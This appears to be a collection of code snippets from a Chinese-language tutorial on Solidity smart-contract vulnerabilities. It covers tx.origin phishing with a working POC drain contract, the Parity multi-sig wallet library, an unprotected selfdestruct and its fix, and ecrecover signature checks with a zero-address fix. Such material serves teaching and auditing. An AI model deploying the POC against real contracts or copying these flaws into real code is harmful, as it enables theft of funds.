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contract Phishable {    address public owner;
    constructor () public {        owner = msg.sender ;     }
    function () public payable {} // collect ether
    function withdrawAll(address _recipient) public {        require(tx.origin == owner);        _recipient.transfer(this.balance);     }}

pragma solidity ^0.4.22;//设置原合约接口，方便调用函数interface Phishable {    function owner() external returns (address);    function withdrawAll(address _recipient) external;}//漏洞证明合约contract POC {    address owner;    Phishable phInstance;        constructor() public {        owner = msg.sender;    }        modifier onlyOwner() {        require(owner==msg.sender);        _;    }    //指向原合约地址    function setInstance(address addr) public onlyOwner {        phInstance = Phishable(addr);    }        function getBalance() public onlyOwner {        owner.transfer(address(this).balance);    }        function attack() internal {        address phOwner = phInstance.owner();        if(phOwner == msg.sender){             phInstance.withdrawAll(owner);                    } else {            owner.transfer(address(this).balance);        }    }        function() external payable {        attack();    }}

//sol Wallet// Multi-sig, daily-limited account proxy/wallet.// @authors:// Gav Wood <g@ethdev.com>// inheritable \\\"property\\\" contract that enables methods to be protected by requiring the acquiescence of either a// single, or, crucially, each of a number of, designated owners.// usage:// use modifiers onlyowner (just own owned) or onlymanyowners(hash), whereby the same hash must be provided by// some number (specified in constructor) of the set of owners (specified in the constructor, modifiable) before the// interior is executed.
pragma solidity ^0.4.9;
contract WalletEvents {  // EVENTS
  // this contract only has six types of events: it can accept a confirmation, in which case  // we record owner and operation (hash) alongside it.  event Confirmation(address owner, bytes32 operation);  event Revoke(address owner, bytes32 operation);
  // some others are in the case of an owner changing.  event OwnerChanged(address oldOwner, address newOwner);  event OwnerAdded(address newOwner);  event OwnerRemoved(address oldOwner);
  // the last one is emitted if the required signatures change  event RequirementChanged(uint newRequirement);
  // Funds has arrived into the wallet (record how much).  event Deposit(address _from, uint value);  // Single transaction going out of the wallet (record who signed for it, how much, and to whom it\\\'s going).  event SingleTransact(address owner, uint value, address to, bytes data, address created);  // Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it\\\'s going).  event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data, address created);  // Confirmation still needed for a transaction.  event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);}
contract WalletAbi {  // Revokes a prior confirmation of the given operation  function revoke(bytes32 _operation) external;
  // Replaces an owner `_from` with another `_to`.  function changeOwner(address _from, address _to) external;
  function addOwner(address _owner) external;
  function removeOwner(address _owner) external;
  function changeRequirement(uint _newRequired) external;
  function isOwner(address _addr) constant returns (bool);
  function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool);
  // (re)sets the daily limit. needs many of the owners to confirm. doesn\\\'t alter the amount already spent today.  function setDailyLimit(uint _newLimit) external;
  function execute(address _to, uint _value, bytes _data) external returns (bytes32 o_hash);  function confirm(bytes32 _h) returns (bool o_success);}
contract WalletLibrary is WalletEvents {  // TYPES
  // struct for the status of a pending operation.  struct PendingState {    uint yetNeeded;    uint ownersDone;    uint index;  }
  // Transaction structure to remember details of transaction lest it need be saved for a later call.  struct Transaction {    address to;    uint value;    bytes data;  }
  // MODIFIERS
  // simple single-sig function modifier.  modifier onlyowner {    if (isOwner(msg.sender))      _;  }  // multi-sig function modifier: the operation must have an intrinsic hash in order  // that later attempts can be realised as the same underlying operation and  // thus count as confirmations.  modifier onlymanyowners(bytes32 _operation) {    if (confirmAndCheck(_operation))      _;  }
  // METHODS
  // gets called when no other function matches  function() payable {    // just being sent some cash?    if (msg.value > 0)      Deposit(msg.sender, msg.value);  }
  // constructor is given number of sigs required to do protected \\\"onlymanyowners\\\" transactions  // as well as the selection of addresses capable of confirming them.  function initMultiowned(address[] _owners, uint _required) only_uninitialized {    m_numOwners = _owners.length + 1;    m_owners[1] = uint(msg.sender);    m_ownerIndex[uint(msg.sender)] = 1;    for (uint i = 0; i < _owners.length; ++i)    {      m_owners[2 + i] = uint(_owners[i]);      m_ownerIndex[uint(_owners[i])] = 2 + i;    }    m_required = _required;  }
  // Revokes a prior confirmation of the given operation  function revoke(bytes32 _operation) external {    uint ownerIndex = m_ownerIndex[uint(msg.sender)];    // make sure they\\\'re an owner    if (ownerIndex == 0) return;    uint ownerIndexBit = 2**ownerIndex;    var pending = m_pending[_operation];    if (pending.ownersDone & ownerIndexBit > 0) {      pending.yetNeeded++;      pending.ownersDone -= ownerIndexBit;      Revoke(msg.sender, _operation);    }  }
  // Replaces an owner `_from` with another `_to`.  function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {    if (isOwner(_to)) return;    uint ownerIndex = m_ownerIndex[uint(_from)];    if (ownerIndex == 0) return;
    clearPending();    m_owners[ownerIndex] = uint(_to);    m_ownerIndex[uint(_from)] = 0;    m_ownerIndex[uint(_to)] = ownerIndex;    OwnerChanged(_from, _to);  }
  function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {    if (isOwner(_owner)) return;
    clearPending();    if (m_numOwners >= c_maxOwners)      reorganizeOwners();    if (m_numOwners >= c_maxOwners)      return;    m_numOwners++;    m_owners[m_numOwners] = uint(_owner);    m_ownerIndex[uint(_owner)] = m_numOwners;    OwnerAdded(_owner);  }
  function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {    uint ownerIndex = m_ownerIndex[uint(_owner)];    if (ownerIndex == 0) return;    if (m_required > m_numOwners - 1) return;
    m_owners[ownerIndex] = 0;    m_ownerIndex[uint(_owner)] = 0;    clearPending();    reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot    OwnerRemoved(_owner);  }
  function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {    if (_newRequired > m_numOwners) return;    m_required = _newRequired;    clearPending();    RequirementChanged(_newRequired);  }
  // Gets an owner by 0-indexed position (using numOwners as the count)  function getOwner(uint ownerIndex) external constant returns (address) {    return address(m_owners[ownerIndex + 1]);  }
  function isOwner(address _addr) constant returns (bool) {    return m_ownerIndex[uint(_addr)] > 0;  }
  function hasConfirmed(bytes32 _operation, address _owner) external constant returns (bool) {    var pending = m_pending[_operation];    uint ownerIndex = m_ownerIndex[uint(_owner)];
    // make sure they\\\'re an owner    if (ownerIndex == 0) return false;
    // determine the bit to set for this owner.    uint ownerIndexBit = 2**ownerIndex;    return !(pending.ownersDone & ownerIndexBit == 0);  }
  // constructor - stores initial daily limit and records the present day\\\'s index.  function initDaylimit(uint _limit) only_uninitialized {    m_dailyLimit = _limit;    m_lastDay = today();  }  // (re)sets the daily limit. needs many of the owners to confirm. doesn\\\'t alter the amount already spent today.  function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {    m_dailyLimit = _newLimit;  }  // resets the amount already spent today. needs many of the owners to confirm.  function resetSpentToday() onlymanyowners(sha3(msg.data)) external {    m_spentToday = 0;  }
  // throw unless the contract is not yet initialized.  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
  // constructor - just pass on the owner array to the multiowned and  // the limit to daylimit  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {    initDaylimit(_daylimit);    initMultiowned(_owners, _required);  }
  // kills the contract sending everything to `_to`.  function kill(address _to) onlymanyowners(sha3(msg.data)) external {    suicide(_to);  }
  // Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.  // If not, goes into multisig process. We provide a hash on return to allow the sender to provide  // shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value  // and _data arguments). They still get the option of using them if they want, anyways.  function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {    // first, take the opportunity to check that we\\\'re under the daily limit.    if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {      // yes - just execute the call.      address created;      if (_to == 0) {        created = create(_value, _data);      } else {        if (!_to.call.value(_value)(_data))          throw;      }      SingleTransact(msg.sender, _value, _to, _data, created);    } else {      // determine our operation hash.      o_hash = sha3(msg.data, block.number);      // store if it\\\'s new      if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {        m_txs[o_hash].to = _to;        m_txs[o_hash].value = _value;        m_txs[o_hash].data = _data;      }      if (!confirm(o_hash)) {        ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);      }    }  }
  function create(uint _value, bytes _code) internal returns (address o_addr) {    /*    assembly {      o_addr := create(_value, add(_code, 0x20), mload(_code))      jumpi(invalidJumpLabel, iszero(extcodesize(o_addr)))    }    */  }
  // confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order  // to determine the body of the transaction from the hash provided.  function confirm(bytes32 _h) onlymanyowners(_h) returns (bool o_success) {    if (m_txs[_h].to != 0 || m_txs[_h].value != 0 || m_txs[_h].data.length != 0) {      address created;      if (m_txs[_h].to == 0) {        created = create(m_txs[_h].value, m_txs[_h].data);      } else {        if (!m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data))          throw;      }
      MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data, created);      delete m_txs[_h];      return true;    }  }
  // INTERNAL METHODS
  function confirmAndCheck(bytes32 _operation) internal returns (bool) {    // determine what index the present sender is:    uint ownerIndex = m_ownerIndex[uint(msg.sender)];    // make sure they\\\'re an owner    if (ownerIndex == 0) return;
    var pending = m_pending[_operation];    // if we\\\'re not yet working on this operation, switch over and reset the confirmation status.    if (pending.yetNeeded == 0) {      // reset count of confirmations needed.      pending.yetNeeded = m_required;      // reset which owners have confirmed (none) - set our bitmap to 0.      pending.ownersDone = 0;      pending.index = m_pendingIndex.length++;      m_pendingIndex[pending.index] = _operation;    }    // determine the bit to set for this owner.    uint ownerIndexBit = 2**ownerIndex;    // make sure we (the message sender) haven\\\'t confirmed this operation previously.    if (pending.ownersDone & ownerIndexBit == 0) {      Confirmation(msg.sender, _operation);      // ok - check if count is enough to go ahead.      if (pending.yetNeeded <= 1) {        // enough confirmations: reset and run interior.        delete m_pendingIndex[m_pending[_operation].index];        delete m_pending[_operation];        return true;      }      else      {        // not enough: record that this owner in particular confirmed.        pending.yetNeeded--;        pending.ownersDone |= ownerIndexBit;      }    }  }
  function reorganizeOwners() private {    uint free = 1;    while (free < m_numOwners)    {      while (free < m_numOwners && m_owners[free] != 0) free++;      while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;      if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)      {        m_owners[free] = m_owners[m_numOwners];        m_ownerIndex[m_owners[free]] = free;        m_owners[m_numOwners] = 0;      }    }  }
  // checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and  // returns true. otherwise just returns false.  function underLimit(uint _value) internal onlyowner returns (bool) {    // reset the spend limit if we\\\'re on a different day to last time.    if (today() > m_lastDay) {      m_spentToday = 0;      m_lastDay = today();    }    // check to see if there\\\'s enough left - if so, subtract and return true.    // overflow protection                    // dailyLimit check    if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {      m_spentToday += _value;      return true;    }    return false;  }
  // determines today\\\'s index.  function today() private constant returns (uint) { return now / 1 days; }
  function clearPending() internal {    uint length = m_pendingIndex.length;
    for (uint i = 0; i < length; ++i) {      delete m_txs[m_pendingIndex[i]];
      if (m_pendingIndex[i] != 0)        delete m_pending[m_pendingIndex[i]];    }
    delete m_pendingIndex;  }
  // FIELDS  address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
  // the number of owners that must confirm the same operation before it is run.  uint public m_required;  // pointer used to find a free slot in m_owners  uint public m_numOwners;
  uint public m_dailyLimit;  uint public m_spentToday;  uint public m_lastDay;
  // list of owners  uint[256] m_owners;
  uint constant c_maxOwners = 250;  // index on the list of owners to allow reverse lookup  mapping(uint => uint) m_ownerIndex;  // the ongoing operations.  mapping(bytes32 => PendingState) m_pending;  bytes32[] m_pendingIndex;
  // pending transactions we have at present.  mapping (bytes32 => Transaction) m_txs;}

pragma solidity ^0.4.22;
contract SimpleSuicide {
  function sudicideAnyone() {    selfdestruct(msg.sender);  }}

pragma solidity ^0.4.22;
contract SimpleSuicide {
  function sudicideAnyone() onlyowner{    selfdestruct(msg.sender);  }}

//ecrecover接口，利用椭圆曲线签名恢复与公钥相关的地址，错误返回零。ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address) 
--------------------------------------------------------------bytes32 hash = keccak256(_from,_spender,_value,nonce,name);if(_from != ecrecover(hash,_v,_r,_s)) revert();

function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh,    uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){
    ...        bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,name);    if(_from != ecrecover(h,_v,_r,_s)) revert();        ...    return true;}

pragma solidity ^0.4.4;
contract Decode{  //公匙：0x60320b8a71bc314404ef7d194ad8cac0bee1e331  //sha3(msg): 0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45 (web3.sha3(\\\"abc\\\");)  //签名后的数据：0xf4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800
  //验签数据入口函数  //bytes memory signedString =hex\\\"f4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800\\\";  function decode(bytes signedString) public pure returns (address){
    bytes32  r = bytesToBytes32(slice(signedString, 0, 32));    bytes32  s = bytesToBytes32(slice(signedString, 32, 32));    byte  v = slice(signedString, 64, 1)[0];    return ecrecoverDecode(r, s, v);  }
  //将原始数据按段切割出来指定长度  function slice(bytes memory data, uint start, uint len) internal pure returns (bytes){    bytes memory b = new bytes(len);
    for(uint i = 0; i < len; i++){      b[i] = data[i + start];    }
    return b;  }
  //使用ecrecover恢复公匙  function ecrecoverDecode(bytes32 r, bytes32 s, byte v1) internal pure returns (address addr){     uint8 v = uint8(v1) + 27;     addr = ecrecover(0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45, v, r, s);  }
  //bytes转换为bytes32  function bytesToBytes32(bytes memory source) internal pure returns (bytes32 result) {    assembly {        result := mload(add(source, 32))    }  }}

//初始化基本对象var Web3 = require(\\\'web3\\\');var web3 = new Web3(new Web3.providers.HttpProvider(\\\"http://localhost:8545\\\"));
var account = web3.eth.accounts[0];var sha3Msg = web3.sha3(\\\"abc\\\");var signedData = web3.eth.sign(account, sha3Msg);
console.log(\\\"account: \\\" + account);console.log(\\\"sha3(message): \\\" + sha3Msg);console.log(\\\"Signed data: \\\" + signedData);

$ node test.jsaccount: 0x60320b8a71bc314404ef7d194ad8cac0bee1e331sha3(message): 0x4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45Signed data: 0xf4128988cbe7df8315440adde412a8955f7f5ff9a5468a791433727f82717a6753bd71882079522207060b681fbd3f5623ee7ed66e33fc8e581f442acbcf6ab800

function transferProxy(address _from, address _to, uint256 _value, uint256 _feeMesh,    uint8 _v,bytes32 _r, bytes32 _s) public transferAllowed(_from) returns (bool){
    ...    require(_from != 0x0);  // 待校验的地址不为0    bytes32 h = keccak256(_from,_to,_value,_feeMesh,nonce,name);    if(_from != ecrecover(h,_v,_r,_s)) revert();        ...    return true;}